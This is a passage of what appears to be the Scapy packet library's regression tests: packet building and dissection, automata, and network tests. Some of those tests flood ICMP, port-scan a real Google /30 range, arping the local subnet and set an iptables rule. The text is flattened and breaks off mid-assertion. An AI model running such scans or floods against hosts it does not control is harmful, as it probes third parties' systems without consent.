assert(type(tmp) == tuple and len(tmp[0]) == 1) tmp = srploop(Ether()/IP(dst="8.8.8.8")/ICMP(), count=1) assert(type(tmp) == tuple and len(tmp[0]) == 1) retry_test(_test) = Sending and receiving an ICMP with flooding methods ~ netaccess IP ICMP from functools import partial # flooding methods do not support timeout. Packing the test for security def _test_flood(flood_function, add_ether=False): old_debug_dissector = conf.debug_dissector conf.debug_dissector = False p = IP(dst="www.google.com")/ICMP() if add_ether: p = Ether()/p x = flood_function(p, timeout=2) conf.debug_dissector = old_debug_dissector if type(x) == tuple: x = x[0][0][1] x assert x[IP].ottl() in [32, 64, 128, 255] assert 0 <= x[IP].hops() <= 126 x is not None and ICMP in x and x[ICMP].type == 0 _test_srflood = partial(_test_flood, srflood) retry_test(_test_srflood) _test_sr1flood = partial(_test_flood, sr1flood) retry_test(_test_sr1flood) _test_srpflood = partial(_test_flood, srpflood, True) retry_test(_test_srpflood) _test_srp1flood = partial(_test_flood, srp1flood, True) retry_test(_test_srp1flood) = Sending and receiving an ICMPv6EchoRequest ~ netaccess ipv6 def _test(): old_debug_dissector = conf.debug_dissector conf.debug_dissector = False x = sr1(IPv6(dst="www.google.com")/ICMPv6EchoRequest(),timeout=3) conf.debug_dissector = old_debug_dissector x assert x[IPv6].ottl() in [32, 64, 128, 255] assert 0 <= x[IPv6].hops() <= 126 x is not None and ICMPv6EchoReply in x and x[ICMPv6EchoReply].type == 129 retry_test(_test) = DNS request ~ netaccess IP UDP DNS * A possible cause of failure could be that the open DNS (resolver1.opendns.com) * is not reachable or down. def _test(): old_debug_dissector = conf.debug_dissector conf.debug_dissector = False dns_ans = sr1(IP(dst="resolver1.opendns.com")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.com")),timeout=5) conf.debug_dissector = old_debug_dissector DNS in dns_ans return dns_ans dns_ans = retry_test(_test) = Whois request ~ netaccess IP * This test retries on failure because it often fails def _test(): IP(src="8.8.8.8").whois() retry_test(_test) = AS resolvers ~ netaccess IP as_resolvers * This test retries on failure because it often fails def _test(): ret = conf.AS_resolver.resolve("8.8.8.8", "8.8.4.4") assert (len(ret) == 2) all(x[1] == "AS15169" for x in ret) retry_test(_test) riswhois_data = b"route: 8.8.8.0/24\ndescr: Google\norigin: AS15169\nnotify: radb-contact@google.com\nmnt-by: MAINT-AS15169\nchanged: radb-contact@google.com 20150728\nsource: RADB\n\nroute: 8.0.0.0/9\ndescr: Proxy-registered route object\norigin: AS3356\nremarks: auto-generated route object\nremarks: this next line gives the robot something to recognize\nremarks: L'enfer, c'est les autres\nremarks: \nremarks: This route object is for a Level 3 customer route\nremarks: which is being exported under this origin AS.\nremarks: \nremarks: This route object was created because no existing\nremarks: route object with the same origin was found, and\nremarks: since some Level 3 peers filter based on these objects\nremarks: this route may be rejected if this object is not created.\nremarks: \nremarks: Please contact routing@Level3.net if you have any\nremarks: questions regarding this object.\nmnt-by: LEVEL3-MNT\nchanged: roy@Level3.net 20060203\nsource: LEVEL3\n\n\n" ret = AS_resolver_riswhois()._parse_whois(riswhois_data) assert ret == ('AS15169', 'Google') retry_test(_test) # This test is too buggy, and is simulated below #def _test(): # ret = AS_resolver_cymru().resolve("8.8.8.8") # assert (len(ret) == 1) # all(x[1] == "AS15169" for x in ret) # #retry_test(_test) cymru_bulk_data = """ Bulk mode; whois.cymru.com [2017-10-03 08:38:08 +0000] 24776 | 217.25.178.5 | INFOCLIP-AS, FR 36459 | 192.30.253.112 | GITHUB - GitHub, Inc., US 26496 | 68.178.213.61 | AS-26496-GO-DADDY-COM-LLC - GoDaddy.com, LLC, US """ tmp = AS_resolver_cymru().parse(cymru_bulk_data) assert(len(tmp) == 3) assert([l[1] for l in tmp] == ['AS24776', 'AS36459', 'AS26496']) = AS resolver - IPv6 ~ netaccess IP * This test retries on failure because it often fails def _test(): as_resolver6 = AS_resolver6() ret = as_resolver6.resolve("2001:4860:4860::8888", "2001:4860:4860::4444") assert (len(ret) == 2) assert all(x[1] == 15169 for x in ret) retry_test(_test) = AS resolver - socket error ~ IP * This test checks that a failing resolver will not crash a script class MockAS_resolver(object): def resolve(self, *ips): raise socket.error asrm = AS_resolver_multi(MockAS_resolver()) assert len(asrm.resolve(["8.8.8.8", "8.8.4.4"])) == 0 = sendpfast old_interactive = conf.interactive conf.interactive = False try: sendpfast([]) assert False except Exception: assert True conf.interactive = old_interactive assert True ############ ############ + Generator tests = Implicit logic 1 ~ IP TCP a = Ether() / IP(ttl=(5, 10)) / TCP(dport=[80, 443]) ls(a) ls(a, verbose=True) l = [p for p in a] len(l) == 12 = Implicit logic 2 ~ IP a = IP(ttl=[1,2,(5,9)]) ls(a) ls(a, verbose=True) l = [p for p in a] len(l) == 7 = Implicit logic 3 # In case there's a single option: __iter__ should return self a = Ether()/IP(src="127.0.0.1", dst="127.0.0.1")/ICMP() for i in a: i.sent_time = 1 assert a.sent_time == 1 # In case they are several, self should never be returned a = Ether()/IP(src="127.0.0.1", dst="127.0.0.1")/ICMP(seq=(0, 5)) for i in a: i.sent_time = 1 assert a.sent_time is None ############ ############ + Real usages = Port scan ~ netaccess IP TCP def _test(): old_debug_dissector = conf.debug_dissector conf.debug_dissector = False ans,unans=sr(IP(dst="www.google.com/30")/TCP(dport=[80,443]),timeout=2) conf.debug_dissector = old_debug_dissector # Backward compatibility: Python 2 only if six.PY2: exec("""ans.make_table(lambda (s, r): (s.dst, s.dport, r.sprintf("{TCP:%TCP.flags%}{ICMP:%ICMP.code%}")))""") # New format: all Python versions ans.make_table(lambda s, r: (s.dst, s.dport, r.sprintf("{TCP:%TCP.flags%}{ICMP:%ICMP.code%}"))) retry_test(_test) = Send & receive with debug_match ~ netaccess IP ICMP def _test(): old_debug_match = conf.debug_match conf.debug_match = True old_debug_dissector = conf.debug_dissector conf.debug_dissector = False ans, unans = sr(IP(dst="www.google.fr") / ICMP(), timeout=2) conf.debug_match = old_debug_match conf.debug_dissector = old_debug_dissector assert ans and not unans retry_test(_test) = Send & receive with retry ~ netaccess IP ICMP def _test(): old_debug_dissector = conf.debug_dissector conf.debug_dissector = False ans, unans = sr(IP(dst=["8.8.8.8", "1.2.3.4"]) / ICMP(), timeout=2, retry=1) conf.debug_dissector = old_debug_dissector len(ans) == 1 and len(unans) == 1 retry_test(_test) = Send & receive with multi ~ netaccess IP ICMP def _test(): old_debug_dissector = conf.debug_dissector conf.debug_dissector = False ans, unans = sr(IP(dst=["8.8.8.8", "1.2.3.4"]) / ICMP(), timeout=2, multi=1) conf.debug_dissector = old_debug_dissector len(ans) == 1 and len(unans) == 1 retry_test(_test) = Traceroute function ~ netaccess tcpdump * Let's test traceroute ans, unans = traceroute("www.slashdot.org") ans.nsummary() s,r=ans[0] s.show() s.show(2) = DNS packet manipulation ~ netaccess IP UDP DNS dns_ans.show() dns_ans.show2() dns_ans[DNS].an.show() dns_ans2 = IP(raw(dns_ans)) DNS in dns_ans2 assert(raw(dns_ans2) == raw(dns_ans)) dns_ans2.qd.qname = "www.secdev.org." * We need to recalculate these values del(dns_ans2[IP].len) del(dns_ans2[IP].chksum) del(dns_ans2[UDP].len) del(dns_ans2[UDP].chksum) assert(b"\x03www\x06secdev\x03org\x00" in raw(dns_ans2)) assert(DNS in IP(raw(dns_ans2))) assert raw(DNSRR(type='A', rdata='1.2.3.4')) == b'\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\x04\x01\x02\x03\x04' = Arping ~ netaccess tcpdump * This test assumes the local network is a /24. This is bad. def _test(): ip_address = conf.route.route("0.0.0.0")[2] ip_address arping(ip_address+"/24") retry_test(_test) = send() and sniff() ~ netaccess tcpdump import time import os from scapy.modules.six.moves.queue import Queue def _send_or_sniff(pkt, timeout, flt, pid, fork, t_other=None, opened_socket=None): assert pid != -1 if pid == 0: time.sleep(1) (sendp if isinstance(pkt, (Ether, Dot3)) else send)(pkt) if fork: os._exit(0) else: return else: spkt = raw(pkt) # We do not want to crash when a packet cannot be parsed old_debug_dissector = conf.debug_dissector conf.debug_dissector = False pkts = sniff( timeout=timeout, filter=flt, opened_socket=opened_socket, stop_filter=lambda p: pkt.__class__ in p and raw(p[pkt.__class__]) == spkt ) conf.debug_dissector = old_debug_dissector if fork: os.waitpid(pid, 0) else: t_other.join() assert raw(pkt) in (raw(p[pkt.__class__]) for p in pkts if pkt.__class__ in p) def send_and_sniff(pkt, timeout=2, flt=None, opened_socket=None): """Send a packet, sniff, and check the packet has been seen""" if hasattr(os, "fork"): _send_or_sniff(pkt, timeout, flt, os.fork(), True) else: from threading import Thread def run_function(pkt, timeout, flt, pid, thread, results, opened_socket): _send_or_sniff(pkt, timeout, flt, pid, False, t_other=thread, opened_socket=opened_socket) results.put(True) results = Queue() t_parent = Thread(target=run_function, args=(pkt, timeout, flt, 0, None, results, None)) t_child = Thread(target=run_function, args=(pkt, timeout, flt, 1, t_parent, results, opened_socket)) t_parent.start() t_child.start() t_parent.join() t_child.join() assert results.qsize() >= 2 while not results.empty(): assert results.get() retry_test(lambda: send_and_sniff(IP(dst="secdev.org")/ICMP())) retry_test(lambda: send_and_sniff(IP(dst="secdev.org")/ICMP(), flt="icmp")) retry_test(lambda: send_and_sniff(Ether()/IP(dst="secdev.org")/ICMP())) = Test SuperSocket.select ~ select import mock @mock.patch("scapy.supersocket.select") def _test_select(select): def f(a, b, c, d): raise IOError(0) select.side_effect = f try: SuperSocket.select([]) return False except: return True assert _test_select() = Test L2ListenTcpdump socket ~ netaccess FIXME_py3 # Needs to be fixed. Fails randomly #import time #for i in range(10): # read_s = L2ListenTcpdump(iface=conf.iface) # out_s = conf.L2socket(iface=conf.iface) # time.sleep(5) # wait for read_s to be ready # icmp_r = Ether()/IP(dst="secdev.org")/ICMP() # res = sndrcv(out_s, icmp_r, timeout=5, rcv_pks=read_s)[0] # read_s.close() # out_s.close() # time.sleep(5) # if res: # break # #response = res[0][1] #assert response[ICMP].type == 0 True = Test set of sent_time by sr ~ netaccess IP ICMP def _test(): packet = IP(dst="8.8.8.8")/ICMP() r = sr(packet, timeout=2) assert packet.sent_time is not None retry_test(_test) = Test set of sent_time by sr (multiple packets) ~ netaccess IP ICMP def _test(): packet1 = IP(dst="8.8.8.8")/ICMP() packet2 = IP(dst="8.8.4.4")/ICMP() r = sr([packet1, packet2], timeout=2) assert packet1.sent_time is not None assert packet2.sent_time is not None retry_test(_test) = Test set of sent_time by srflood ~ netaccess IP ICMP def _test(): packet = IP(dst="8.8.8.8")/ICMP() r = srflood(packet, timeout=2) assert packet.sent_time is not None retry_test(_test) = Test set of sent_time by srflood (multiple packets) ~ netaccess IP ICMP def _test(): packet1 = IP(dst="8.8.8.8")/ICMP() packet2 = IP(dst="8.8.4.4")/ICMP() r = srflood([packet1, packet2], timeout=2) assert packet1.sent_time is not None assert packet2.sent_time is not None retry_test(_test) ############ ############ + ManuFDB tests = __repr__ if conf.manufdb: len(conf.manufdb) else: True = check _resolve_MAC if conf.manufdb: assert conf.manufdb._resolve_MAC("00:00:17") == "Oracle" else: True ############ ############ + Automaton tests = Simple automaton ~ automaton class ATMT1(Automaton): def parse_args(self, init, *args, **kargs): Automaton.parse_args(self, *args, **kargs) self.init = init @ATMT.state(initial=1) def BEGIN(self): raise self.MAIN(self.init) @ATMT.state() def MAIN(self, s): return s @ATMT.condition(MAIN, prio=-1) def go_to_END(self, s): if len(s) > 20: raise self.END(s).action_parameters(s) @ATMT.condition(MAIN) def trA(self, s): if s.endswith("b"): raise self.MAIN(s+"a") @ATMT.condition(MAIN) def trB(self, s): if s.endswith("a"): raise self.MAIN(s*2+"b") @ATMT.state(final=1) def END(self, s): return s @ATMT.action(go_to_END) def action_test(self, s): self.result = s = Simple automaton Tests ~ automaton a=ATMT1(init="a", ll=lambda: None, recvsock=lambda: None) r = a.run() r assert(r == 'aabaaababaaabaaababab') r = a.result r assert(r == 'aabaaababaaabaaababab') a = ATMT1(init="b", ll=lambda: None, recvsock=lambda: None) r = a.run() r assert(r == 'babababababababababababababab') r = a.result assert(r == 'babababababababababababababab') = Simple automaton stuck test ~ automaton try: ATMT1(init="", ll=lambda: None, recvsock=lambda: None).run() except Automaton.Stuck: True else: False = Automaton state overloading ~ automaton class ATMT2(ATMT1): @ATMT.state() def MAIN(self, s): return "c"+ATMT1.MAIN(self, s).run() a=ATMT2(init="a", ll=lambda: None, recvsock=lambda: None) r = a.run() r assert(r == 'ccccccacabacccacababacccccacabacccacababab') r = a.result r assert(r == 'ccccccacabacccacababacccccacabacccacababab') a=ATMT2(init="b", ll=lambda: None, recvsock=lambda: None) r = a.run() r assert(r == 'cccccbaccbabaccccbaccbabab') r = a.result r assert(r == 'cccccbaccbabaccccbaccbabab') = Automaton condition overloading ~ automaton class ATMT3(ATMT2): @ATMT.condition(ATMT1.MAIN) def trA(self, s): if s.endswith("b"): raise self.MAIN(s+"da") a=ATMT3(init="a", debug=2, ll=lambda: None, recvsock=lambda: None) r = a.run() r assert(r == 'cccccacabdacccacabdabda') r = a.result r assert(r == 'cccccacabdacccacabdabda') a=ATMT3(init="b", ll=lambda: None, recvsock=lambda: None) r = a.run() r assert(r == 'cccccbdaccbdabdaccccbdaccbdabdab') r = a.result r assert(r == 'cccccbdaccbdabdaccccbdaccbdabdab') = Automaton action overloading ~ automaton class ATMT4(ATMT3): @ATMT.action(ATMT1.go_to_END) def action_test(self, s): self.result = "e"+s+"e" a=ATMT4(init="a", ll=lambda: None, recvsock=lambda: None) r = a.run() r assert(r == 'cccccacabdacccacabdabda') r = a.result r assert(r == 'ecccccacabdacccacabdabdae') a=ATMT4(init="b", ll=lambda: None, recvsock=lambda: None) r = a.run() r assert(r == 'cccccbdaccbdabdaccccbdaccbdabdab') r = a.result r assert(r == 'ecccccbdaccbdabdaccccbdaccbdabdabe') = Automaton priorities ~ automaton class ATMT5(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res = "J" @ATMT.condition(BEGIN, prio=1) def tr1(self): self.res += "i" raise self.END() @ATMT.condition(BEGIN) def tr2(self): self.res += "p" @ATMT.condition(BEGIN, prio=-1) def tr3(self): self.res += "u" @ATMT.action(tr1) def ac1(self): self.res += "e" @ATMT.action(tr1, prio=-1) def ac2(self): self.res += "t" @ATMT.action(tr1, prio=1) def ac3(self): self.res += "r" @ATMT.state(final=1) def END(self): return self.res a=ATMT5(ll=lambda: None, recvsock=lambda: None) r = a.run() r assert(r == 'Jupiter') = Automaton test same action for many conditions ~ automaton class ATMT6(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res="M" @ATMT.condition(BEGIN) def tr1(self): raise self.MIDDLE() @ATMT.action(tr1) # default prio=0 def add_e(self): self.res += "e" @ATMT.action(tr1, prio=2) def add_c(self): self.res += "c" @ATMT.state() def MIDDLE(self): self.res += "u" @ATMT.condition(MIDDLE) def tr2(self): raise self.END() @ATMT.action(tr2, prio=2) def add_y(self): self.res += "y" @ATMT.action(tr1, prio=1) @ATMT.action(tr2) def add_r(self): self.res += "r" @ATMT.state(final=1) def END(self): return self.res a=ATMT6(ll=lambda: None, recvsock=lambda: None) r = a.run() assert(r == 'Mercury') a.restart() r = a.run() r assert(r == 'Mercury') = Automaton test io event ~ automaton class ATMT7(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res = "S" @ATMT.ioevent(BEGIN, name="tst") def tr1(self, fd): self.res += fd.recv() raise self.NEXT_STATE() @ATMT.state() def NEXT_STATE(self): self.oi.tst.send("ur") @ATMT.ioevent(NEXT_STATE, name="tst") def tr2(self, fd): self.res += fd.recv() raise self.END() @ATMT.state(final=1) def END(self): self.res += "n" return self.res a=ATMT7(ll=lambda: None, recvsock=lambda: None) a.run(wait=False) a.io.tst.send("at") r = a.io.tst.recv() r a.io.tst.send(r) r = a.run() r assert(r == "Saturn") a.restart() a.run(wait=False) a.io.tst.send("at") r = a.io.tst.recv() r a.io.tst.send(r) r = a.run() r assert(r == "Saturn") = Automaton test io event from external fd ~ automaton import os class ATMT8(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res = b"U" @ATMT.ioevent(BEGIN, name="extfd") def tr1(self, fd): self.res += fd.read(2) raise self.NEXT_STATE() @ATMT.state() def NEXT_STATE(self): pass @ATMT.ioevent(NEXT_STATE, name="extfd") def tr2(self, fd): self.res += fd.read(2) raise self.END() @ATMT.state(final=1) def END(self): self.res += b"s" return self.res if WINDOWS: r = w = ObjectPipe() else: r,w = os.pipe() def writeOn(w, msg): if WINDOWS: w.write(msg) else: os.write(w, msg) a=ATMT8(external_fd={"extfd":r}, ll=lambda: None, recvsock=lambda: None) a.run(wait=False) writeOn(w, b"ra") writeOn(w, b"nu") r = a.run() r assert(r == b"Uranus") a.restart() a.run(wait=False) writeOn(w, b"ra") writeOn(w, b"nu") r = a.run() r assert(r == b"Uranus") = Automaton test interception_points, and restart ~ automaton class ATMT9(Automaton): def my_send(self, x): self.io.loop.send(x) @ATMT.state(initial=1) def BEGIN(self): self.res = "V" self.send(Raw("ENU")) @ATMT.ioevent(BEGIN, name="loop") def received_sth(self, fd): self.res += plain_str(fd.recv().load) raise self.END() @ATMT.state(final=1) def END(self): self.res += "s" return self.res a=ATMT9(debug=5, ll=lambda: None, recvsock=lambda: None) r = a.run() r assert(r == "VENUs") a.restart() r = a.run() r assert(r == "VENUs") a.restart() a.BEGIN.intercepts() while True: try: x = a.run() except Automaton.InterceptionPoint as p: a.accept_packet(Raw(p.packet.load.lower()), wait=False) else: break r = x r assert(r == "Venus") = Automaton graph ~ automaton class HelloWorld(Automaton): @ATMT.state(initial=1) def BEGIN(self): pass @ATMT.condition(BEGIN) def wait_for_nothing(self): raise self.END() @ATMT.action(wait_for_nothing) def on_nothing(self): pass @ATMT.state(final=1) def END(self): pass graph = HelloWorld.build_graph() assert graph.startswith("digraph") assert '"BEGIN" -> "END"' in graph = TCP_client automaton ~ automaton netaccess needs_root * This test retries on failure because it may fail quite easily # This test doesn't pass on Travis BSD, and will be skipped SECDEV_IP4 = "203.178.141.194" if LINUX: import os IPTABLE_RULE = "iptables -%c INPUT -s %s -p tcp --sport 80 -j DROP" # Drop packets from SECDEV_IP4 assert(os.system(IPTABLE_RULE % ('A', SECDEV_IP4)) == 0) load_layer("http") def _tcp_client_test(): req = HTTP()/HTTPRequest( Accept_Encoding=b'gzip, deflate', Cache_Control=b'no-cache', Pragma=b'no-cache', Connection=b'keep-alive', Host=b'www.kame.net', ) t = TCP_client.tcplink(HTTP, SECDEV_IP4, 80) response = t.sr1(req, timeout=3) t.close() assert response.Http_Version == b'HTTP/1.1' assert response.Status_Code == b'200' assert response.Reason_Phrase == b'OK' def _http_request_test(): response = http_request("www.kame.net", path="/", iptables=LINUX) assert response.Http_Version == b'HTTP/1.1' assert response.Status_Code == b'200' assert response.Reason_Phrase == b'OK' # This test doesn't pass on Travis BSD if not BSD: try: retry_test(_tcp_client_test) finally: if LINUX: # Remove the iptables rule assert(os.system(IPTABLE_RULE % ('D', SECDEV_IP4)) == 0) retry_test(_http_request_test) ############ ############ + Test IP options = IP options individual assembly ~ IP options r = raw(IPOption()) r assert(r == b'\x00\x02') r = raw(IPOption_NOP()) r assert(r == b'\x01') r = raw(IPOption_EOL()) r assert(r == b'\x00') r = raw(IPOption_LSRR(routers=["1.2.3.4","5.6.7.8"])) r assert(r == b'\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08') r = raw(IPOption_Timestamp(internet_address='192.168.15.7', timestamp=11223344)) r assert(r == b'D\x0c\t\x01\xc0\xa8\x0f\x07\x00\xabA0') r = raw(IPOption_Timestamp(flg=0, length=8)) r assert(r == b'D\x08\t\x00\x00\x00\x00\x00') = IP options individual dissection ~ IP options io = IPOption(b"\x00") io assert(io.option == 0 and isinstance(io, IPOption_EOL)) io = IPOption(b"\x01") io assert(io.option == 1 and isinstance(io, IPOption_NOP)) lsrr=b'\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08' p=IPOption_LSRR(lsrr) p q=IPOption(lsrr) q assert(p == q) = IP assembly and dissection with options ~ IP options p = IP(src="9.10.11.12",dst="13.14.15.16",options=IPOption_SDBM(addresses=["1.2.3.4","5.6.7.8"]))/TCP() r = raw(p) r assert(r == b'H\x00\x004\x00\x01\x00\x00@\x06\xa2q\t\n\x0b\x0c\r\x0e\x0f\x10\x95\n\x01\x02\x03\x04\x05\x06\x07\x08\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00_K\x00\x00') q=IP(r) q assert( isinstance(q.options[0],IPOption_SDBM) ) assert( q[IPOption_SDBM].addresses[1] == "5.6.7.8" ) p.options[0].addresses[0] = '5.6.7.8' assert( IP(raw(p)).options[0].addresses[0] == '5.6.7.8' ) p = IP(src="9.10.11.12", dst="13.14.15.16", options=[IPOption_NOP(),IPOption_LSRR(routers=["1.2.3.4","5.6.7.8"]),IPOption_Security(transmission_control_code="XYZ")])/TCP() p r = raw(p) r assert(r == b'K\x00\x00@\x00\x01\x00\x00@\x06\xf3\x83\t\n\x0b\x0c\r\x0e\x0f\x10\x01\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08\x82\x0b\x00\x00\x00\x00\x00\x00XYZ\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00_K\x00\x00') q = IP(r) q assert(q[IPOption_LSRR].get_current_router() == "1.2.3.4") assert(q[IPOption_Security].transmission_control_code == b"XYZ") assert(q[TCP].flags == 2) ############ ############ + Test PPP = PPPoE ~ ppp pppoe p=Ether(b'\xff\xff\xff\xff\xff\xff\x08\x00\x27\xf3<5\x88c\x11\x09\x00\x00\x00\x0c\x01\x01\x00\x00\x01\x03\x00\x04\x01\x02\x03\x04\x00\x00\x00\x00') p assert(p[Ether].type==0x8863) assert(PPPoED in p) assert(p[PPPoED].version==1) assert(p[PPPoED].type==1) assert(p[PPPoED].code==0x09) assert(PPPoED_Tags in p) q=p[PPPoED_Tags] assert(q.tag_list is not None) r=q.tag_list assert(r[0].tag_type==0x0101) assert(r[1].tag_type==0x0103) assert(r[1].tag_len==4) assert(r[1].tag_value==b'\x01\x02\x03\x04') assert(r[2].tag_type==0x0000) = PPP/HDLC ~ ppp hdlc p = HDLC()/PPP()/PPP_IPCP() p s = raw(p) s assert(s == b'\xff\x03\x80!\x01\x00\x00\x04') p = PPP(s) p assert(HDLC in p) assert(p[HDLC].control==3) assert(p[PPP].proto==0x8021) q = PPP(s[2:]) q assert(HDLC not in q) assert(q[PPP].proto==0x8021) = PPP IPCP ~ ppp ipcp p = PPP(b'\x80!\x01\x01\x00\x10\x03\x06\xc0\xa8\x01\x01\x02\x06\x00-\x0f\x01') p assert(p[PPP_IPCP].code == 1) assert(p[PPP_IPCP_Option_IPAddress].data=="192.168.1.1") assert(p[PPP_IPCP_Option].data == b'\x00-\x0f\x01') p=PPP()/PPP_IPCP(options=[PPP_IPCP_Option_DNS1(data="1.2.3.4"),PPP_IPCP_Option_DNS2(data="5.6.7.8"),PPP_IPCP_Option_NBNS2(data="9.10.11.12")]) r = raw(p) r assert(r == b'\x80!\x01\x00\x00\x16\x81\x06\x01\x02\x03\x04\x83\x06\x05\x06\x07\x08\x84\x06\t\n\x0b\x0c') q = PPP(r) q assert(raw(p) == raw(q)) assert(PPP(raw(q))==q) p = PPP()/PPP_IPCP(options=[PPP_IPCP_Option_DNS1(data="1.2.3.4"),PPP_IPCP_Option_DNS2(data="5.6.7.8"),PPP_IPCP_Option(type=123,data="ABCDEFG"),PPP_IPCP_Option_NBNS2(data="9.10.11.12")]) p r = raw(p) r assert(r == b'\x80!\x01\x00\x00\x1f\x81\x06\x01\x02\x03\x04\x83\x06\x05\x06\x07\x08{\tABCDEFG\x84\x06\t\n\x0b\x0c') q = PPP(r) q assert( q[PPP_IPCP_Option].type == 123 ) assert( q[PPP_IPCP_Option].data == b"ABCDEFG" ) assert( q[PPP_IPCP_Option_NBNS2].data == '9.10.11.12' ) = PPP ECP ~ ppp ecp p = PPP()/PPP_ECP(options=[PPP_ECP_Option_OUI(oui="XYZ")]) p r = raw(p) r assert(r == b'\x80S\x01\x00\x00\n\x00\x06XYZ\x00') q = PPP(r) q assert(raw(p) == raw(q)) p = PPP()/PPP_ECP(options=[PPP_ECP_Option_OUI(oui="XYZ"),PPP_ECP_Option(type=1,data="ABCDEFG")]) p r = raw(p) r assert(r == b'\x80S\x01\x00\x00\x13\x00\x06XYZ\x00\x01\tABCDEFG') q = PPP(r) q assert( raw(p) == raw(q) ) assert( q[PPP_ECP_Option].data == b"ABCDEFG" ) = PPP with only one byte for protocol ~ ppp assert(len(raw(PPP() / IP())) == 21) p = PPP(b'!E\x00\x00<\x00\x00@\x008\x06\xa5\xce\x85wP)\xc0\xa8Va\x01\xbbd\x8a\xe2}r\xb8O\x95\xb5\x84\xa0\x12q \xc8\x08\x00\x00\x02\x04\x02\x18\x04\x02\x08\nQ\xdf\xd6\xb0\x00\x07LH\x01\x03\x03\x07Ao') assert(IP in p) assert(TCP in p) # Scapy6 Regression Test Campaign ############ ############ + Test IPv6 Class = IPv6 Class basic Instantiation a=IPv6() = IPv6 Class basic build (default values) raw(IPv6()) == b'`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = IPv6 Class basic dissection (default values) a=IPv6(raw(IPv6())) a.version == 6 and a.tc == 0 and a.fl == 0 and a.plen == 0 and a.nh == 59 and a.hlim ==64 and a.src == "::1" and a.dst == "::1" = IPv6 Class with basic TCP stacked - build raw(IPv6()/TCP()) == b'`\x00\x00\x00\x00\x14\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f}\x00\x00' = IPv6 Class with basic TCP stacked - dissection a=IPv6(raw(IPv6()/TCP())) a.nh == 6 and a.plen == 20 and isinstance(a.payload, TCP) and a.payload.chksum == 0x8f7d = IPv6 Class with TCP and TCP data - build raw(IPv6()/TCP()/Raw(load="somedata")) == b'`\x00\x00\x00\x00\x1c\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd5\xdd\x00\x00somedata' = IPv6 Class with TCP and TCP data - dissection a=IPv6(raw(IPv6()/TCP(dport=1234, sport=1234)/Raw(load="somedata"))) a.nh == 6 and a.plen == 28 and isinstance(a.payload, TCP) and a.payload.chksum == 0xcc9d and isinstance(a.payload.payload, Raw) and a[Raw].load == b"somedata" = IPv6 Class binding with Ethernet - build raw(Ether(src="00:00:00:00:00:00", dst="ff:ff:ff:ff:ff:ff")/IPv6()/TCP()) == b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x86\xdd`\x00\x00\x00\x00\x14\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f}\x00\x00' = IPv6 Class binding with Ethernet - dissection a=Ether(raw(Ether()/IPv6()/TCP())) a.type == 0x86dd = IPv6 Class - summary a = Ether(src="aa:aa:aa:aa:aa:aa", dst="bb:bb:bb:bb:bb:bb")/IPv6(src='c266:a92d:0ed8:dc54:7d6f:9667:3743:a32f', dst='6406:c31f:d0b5:72fc:1700:2081:62e7:fae9') assert a.summary() == 'Ether / c266:a92d:ed8:dc54:7d6f:9667:3743:a32f > 6406:c31f:d0b5:72fc:1700:2081:62e7:fae9 (59)' = IPv6 Class binding with GRE - build s = raw(IP(src="127.0.0.1")/GRE()/Ether(dst="ff:ff:ff:ff:ff:ff", src="00:00:00:00:00:00")/IP()/GRE()/IPv6(src="::1")) s == b'E\x00\x00f\x00\x01\x00\x00@/|f\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00eX\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00@\x00\x01\x00\x00@/|\x8c\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x86\xdd`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = IPv6 Class binding with GRE - dissection p = IP(s) GRE in p and p[GRE:1].proto == 0x6558 and p[GRE:2].proto == 0x86DD and IPv6 in p = IPv6 ma_addr coverage on hashret IPv6(dst="ff00::1:ff28:9c5a", src="::").hashret() == b';' ########### IPv6ExtHdrRouting Class ########################### = IPv6ExtHdrRouting Class - No address - build raw(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=[])/TCP(dport=80)) ==b'`\x00\x00\x00\x00\x1c+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xa5&\x00\x00' = IPv6ExtHdrRouting Class - One address - build raw(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2022::deca"])/TCP(dport=80)) == 